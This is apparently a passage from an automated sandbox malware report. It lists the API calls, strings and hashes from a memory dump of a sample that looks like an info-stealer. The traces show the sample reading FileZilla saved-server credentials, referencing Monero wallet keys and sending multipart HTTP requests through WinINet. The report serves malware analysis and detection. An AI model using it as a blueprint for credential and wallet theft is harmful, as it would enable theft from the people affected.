GetProcAddress.KERNEL32(6CF90000,0063D170), ref: 00BAA6B4
GetProcAddress.KERNEL32(6CF90000,00625750), ref: 00BAA6CD
GetProcAddress.KERNEL32(6CF90000,0063D218), ref: 00BAA6E5
GetProcAddress.KERNEL32(6CF90000,0063D278), ref: 00BAA6FD

Strings

P\b, xrefs: 00BA9D2B
0\b, xrefs: 00BA9C38
0Yb, xrefs: 00BAA35D
p]b, xrefs: 00BA9D74
HttpQueryInfoA, xrefs: 00BAA5FC
pYb, xrefs: 00BAA3BE
pXb, xrefs: 00BAA4C3
PXb, xrefs: 00BAA522
0^b, xrefs: 00BA9E4F
PZb, xrefs: 00BAA16B
InternetSetOptionA, xrefs: 00BAA5E5
pWb, xrefs: 00BAA307
0Zb, xrefs: 00BAA0CC
PWb, xrefs: 00BAA6BF
0Wb, xrefs: 00BAA21F
pZb, xrefs: 00BAA280
PYb, xrefs: 00BAA428
0Xb, xrefs: 00BAA237

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0Wb$0Xb$0Yb$0Zb$0\b$0^b$HttpQueryInfoA$InternetSetOptionA$PWb$PXb$PYb$PZb$P\b$pWb$pXb$pYb$pZb$p]b
API String ID: 2238633743-2114471288
Opcode ID: a4dc2f4c2cb04797e327dd4d9d1f1d1f970e0f7e1c586b941e39e00d38d1bc8a
Instruction ID: 70909793dcfe5d3b3b1282d87d6810a2fee526c1b682dec89ab494c6baba3ec4
Opcode Fuzzy Hash: a4dc2f4c2cb04797e327dd4d9d1f1d1f970e0f7e1c586b941e39e00d38d1bc8a
Instruction Fuzzy Hash: F86207B5602341AFC744DFADED88A663BF9F78C301714C51BAA09C3364D639A942DB72

Function 00B97710 Relevance: 102.1, APIs: 54, Strings: 4, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B97724
RtlAllocateHeap.NTDLL(00000000), ref: 00B9772B
lstrcat.KERNEL32(?,00639C80), ref: 00B978DB
lstrcat.KERNEL32(?,?), ref: 00B978EF
lstrcat.KERNEL32(?,?), ref: 00B97903
lstrcat.KERNEL32(?,?), ref: 00B97917
lstrcat.KERNEL32(?,0063E1D0), ref: 00B9792B
lstrcat.KERNEL32(?,0063E170), ref: 00B9793F
lstrcat.KERNEL32(?,0063E188), ref: 00B97952
lstrcat.KERNEL32(?,0063E3E0), ref: 00B97966
lstrcat.KERNEL32(?,00639D08), ref: 00B9797A
lstrcat.KERNEL32(?,?), ref: 00B9798E
lstrcat.KERNEL32(?,?), ref: 00B979A2
lstrcat.KERNEL32(?,?), ref: 00B979B6
lstrcat.KERNEL32(?,0063E1D0), ref: 00B979C9
lstrcat.KERNEL32(?,0063E170), ref: 00B979DD
lstrcat.KERNEL32(?,0063E188), ref: 00B979F1
lstrcat.KERNEL32(?,0063E3E0), ref: 00B97A04
lstrcat.KERNEL32(?,00639D70), ref: 00B97A18
lstrcat.KERNEL32(?,?), ref: 00B97A2C
lstrcat.KERNEL32(?,?), ref: 00B97A40
lstrcat.KERNEL32(?,?), ref: 00B97A54
lstrcat.KERNEL32(?,0063E1D0), ref: 00B97A68
lstrcat.KERNEL32(?,0063E170), ref: 00B97A7B
lstrcat.KERNEL32(?,0063E188), ref: 00B97A8F
lstrcat.KERNEL32(?,0063E3E0), ref: 00B97AA3
lstrcat.KERNEL32(?,00639DD8), ref: 00B97AB6
lstrcat.KERNEL32(?,?), ref: 00B97ACA
lstrcat.KERNEL32(?,?), ref: 00B97ADE
lstrcat.KERNEL32(?,?), ref: 00B97AF2
lstrcat.KERNEL32(?,0063E1D0), ref: 00B97B06
lstrcat.KERNEL32(?,0063E170), ref: 00B97B1A
lstrcat.KERNEL32(?,0063E188), ref: 00B97B2D
lstrcat.KERNEL32(?,0063E3E0), ref: 00B97B41
lstrcat.KERNEL32(?,0063E648), ref: 00B97B55
lstrcat.KERNEL32(?,?), ref: 00B97B69
lstrcat.KERNEL32(?,?), ref: 00B97B7D
lstrcat.KERNEL32(?,?), ref: 00B97B91
lstrcat.KERNEL32(?,0063E1D0), ref: 00B97BA4
lstrcat.KERNEL32(?,0063E170), ref: 00B97BB8
lstrcat.KERNEL32(?,0063E188), ref: 00B97BCC
lstrcat.KERNEL32(?,0063E3E0), ref: 00B97BDF
lstrcat.KERNEL32(?,0063E6B0), ref: 00B97BF3
lstrcat.KERNEL32(?,?), ref: 00B97C07
lstrcat.KERNEL32(?,?), ref: 00B97C1B
lstrcat.KERNEL32(?,?), ref: 00B97C2F
lstrcat.KERNEL32(?,0063E1D0), ref: 00B97C43
lstrcat.KERNEL32(?,0063E170), ref: 00B97C56
lstrcat.KERNEL32(?,0063E188), ref: 00B97C6A
lstrcat.KERNEL32(?,0063E3E0), ref: 00B97C7E

Part of subcall function 00B975D0: lstrcat.KERNEL32(2F455020,00BB17FC), ref: 00B97606
Part of subcall function 00B975D0: lstrcat.KERNEL32(2F455020,00000000), ref: 00B97648
Part of subcall function 00B975D0: lstrcat.KERNEL32(2F455020, : ), ref: 00B9765A
Part of subcall function 00B975D0: lstrcat.KERNEL32(2F455020,00000000), ref: 00B9768F
Part of subcall function 00B975D0: lstrcat.KERNEL32(2F455020,00BB1804), ref: 00B976A0
Part of subcall function 00B975D0: lstrcat.KERNEL32(2F455020,00000000), ref: 00B976D3
Part of subcall function 00B975D0: lstrcat.KERNEL32(2F455020,00BB1808), ref: 00B976ED
Part of subcall function 00B975D0: task.LIBCPMTD ref: 00B976FB

lstrcat.KERNEL32(?,0063E938), ref: 00B97E0B
lstrcat.KERNEL32(?,0063D900), ref: 00B97E1E
lstrlen.KERNEL32(2F455020), ref: 00B97E2B
lstrlen.KERNEL32(2F455020), ref: 00B97E3B

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Strings

pc, xrefs: 00B97931, 00B979CF, 00B97A6E, 00B97B0C, 00B97BAA, 00B97C49
Hc, xrefs: 00B97B47
8c, xrefs: 00B97DFD
c, xrefs: 00B97958, 00B979F7, 00B97A95, 00B97B33, 00B97BD2, 00B97C70

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: 8c$Hc$pc$c
API String ID: 928082926-1949198021
Opcode ID: 912009fa6d2516a8523026b452e24f5c3b1d7e11ebfbc156a782271598be0153
Instruction ID: 5b8513909158e605a459bf4d64a151f6c671ebe9742bb8b0224d2d5b23eb39da
Opcode Fuzzy Hash: 912009fa6d2516a8523026b452e24f5c3b1d7e11ebfbc156a782271598be0153
Instruction Fuzzy Hash: 33321CB6C10354ABCB15EBA4DC85DEE73BCAB44700F044AD9F219A2190EE74E789DF61

Function 00BA0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B999EC
Part of subcall function 00B999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B99A11
Part of subcall function 00B999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B99A31
Part of subcall function 00B999C0: ReadFile.KERNEL32(000000FF,?,00000000,00B9148F,00000000), ref: 00B99A5A
Part of subcall function 00B999C0: LocalFree.KERNEL32(00B9148F), ref: 00B99A90
Part of subcall function 00B999C0: CloseHandle.KERNEL32(000000FF), ref: 00B99A9A

Part of subcall function 00BA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BA8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00BB0DBA,00BB0DB7,00BB0DB6,00BB0DB3), ref: 00BA0362
RtlAllocateHeap.NTDLL(00000000), ref: 00BA0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00BA0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00BA03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00BA0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00BA0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00BA0562
lstrcat.KERNEL32(?,profile: null), ref: 00BA0571
lstrcat.KERNEL32(?,url: ), ref: 00BA0580
lstrcat.KERNEL32(?,00000000), ref: 00BA0593
lstrcat.KERNEL32(?,00BB1678), ref: 00BA05A2
lstrcat.KERNEL32(?,00000000), ref: 00BA05B5
lstrcat.KERNEL32(?,00BB167C), ref: 00BA05C4
lstrcat.KERNEL32(?,login: ), ref: 00BA05D3
lstrcat.KERNEL32(?,00000000), ref: 00BA05E6
lstrcat.KERNEL32(?,00BB1688), ref: 00BA05F5
lstrcat.KERNEL32(?,password: ), ref: 00BA0604
lstrcat.KERNEL32(?,00000000), ref: 00BA0617
lstrcat.KERNEL32(?,00BB1698), ref: 00BA0626
lstrcat.KERNEL32(?,00BB169C), ref: 00BA0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BB0DB2), ref: 00BA068E

Strings

profile: null, xrefs: 00BA0568
<Port>, xrefs: 00BA03C6
<Pass encoding="base64">, xrefs: 00BA045A
<User>, xrefs: 00BA0410
url: , xrefs: 00BA0577
password: , xrefs: 00BA05FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00BA02A4
browser: FileZilla, xrefs: 00BA0559
<Host>, xrefs: 00BA037C
login: , xrefs: 00BA05CA

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 107cf6ed6f7a6bdb8d5e41c1be7f660a3c98ee20d0da5fc42da3d4023114b45e
Instruction ID: e51971a76b5516a6df93d45f975849e76751aa0ec912a83dbde2637210b34225
Opcode Fuzzy Hash: 107cf6ed6f7a6bdb8d5e41c1be7f660a3c98ee20d0da5fc42da3d4023114b45e
Instruction Fuzzy Hash: 43D13C71914208ABCB44FBF4DD96EFE73B8AF19300F508499F502A6191EF74AA06DB71

Function 00B95100 Relevance: 51.3, APIs: 19, Strings: 10, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B94839
Part of subcall function 00B947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B94849

lstrlen.KERNEL32(00000000), ref: 00B95193

Part of subcall function 00BA8EA0: CryptBinaryToStringA.CRYPT32(00000000,00B95184,40000001,00000000,00000000,?,00B95184), ref: 00BA8EC0

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B95207
StrCmpCA.SHLWAPI(?,0063E828), ref: 00B95225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B95340
HttpOpenRequestA.WININET(00000000,0063E7A8,?,0063E1B8,00000000,00000000,00400100,00000000), ref: 00B953A4

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0063E7D8,00000000,?,0063A330,00000000,?,00BB19DC,00000000,?,00BA51CF), ref: 00B95737
lstrlen.KERNEL32(00000000), ref: 00B9574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00B9575C
RtlAllocateHeap.NTDLL(00000000), ref: 00B95763
lstrlen.KERNEL32(00000000), ref: 00B95778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B957A9
lstrlen.KERNEL32(00000000), ref: 00B957C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B957E1
lstrlen.KERNEL32(00000000,?,?), ref: 00B9580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B95822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B9584D
InternetCloseHandle.WININET(00000000), ref: 00B958B1
InternetCloseHandle.WININET(00000000), ref: 00B958BE
InternetCloseHandle.WININET(00000000), ref: 00B958C8

Strings

", xrefs: 00B955C4
------, xrefs: 00B954F9
c, xrefs: 00B9559A
(c, xrefs: 00B95217
--, xrefs: 00B95280
------, xrefs: 00B95297
", xrefs: 00B95706
------, xrefs: 00B953B7
", xrefs: 00B95482
------, xrefs: 00B9563B

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$(c$--$------$------$------$c
API String ID: 1224485577-446590029
Opcode ID: b10634c33d4d3d77d0f45a8adf74cd556f9597baf285887e6e51d63097d1ad8f
Instruction ID: d616e082b845ac589417a8f4174430cb4ead6f12aed64cfb1796e63e080ee020
Opcode Fuzzy Hash: b10634c33d4d3d77d0f45a8adf74cd556f9597baf285887e6e51d63097d1ad8f
Instruction Fuzzy Hash: 57322D71924118ABDB54EBA4DC91FEEB3B8BF55700F4041E9B106B2192EF742A49CF72

Function 00B95960 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B94839
Part of subcall function 00B947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B94849

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B959F8
StrCmpCA.SHLWAPI(?,0063E828), ref: 00B95A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B95B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0063E8C8,00000000,?,0063A330,00000000,?,00BB1A1C), ref: 00B95E71
lstrlen.KERNEL32(00000000), ref: 00B95E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00B95E93
RtlAllocateHeap.NTDLL(00000000), ref: 00B95E9A
lstrlen.KERNEL32(00000000), ref: 00B95EAF
lstrlen.KERNEL32(00000000), ref: 00B95ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B95EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00B95F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B95F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00B95F4C
InternetCloseHandle.WININET(00000000), ref: 00B95FB0
InternetCloseHandle.WININET(00000000), ref: 00B95FBD
HttpOpenRequestA.WININET(00000000,0063E7A8,?,0063E1B8,00000000,00000000,00400100,00000000), ref: 00B95BF8

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

InternetCloseHandle.WININET(00000000), ref: 00B95FC7

Strings

------, xrefs: 00B95D4C
------, xrefs: 00B95C0B
", xrefs: 00B95CD5
(c, xrefs: 00B95A08
------, xrefs: 00B95A96
", xrefs: 00B95E16

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
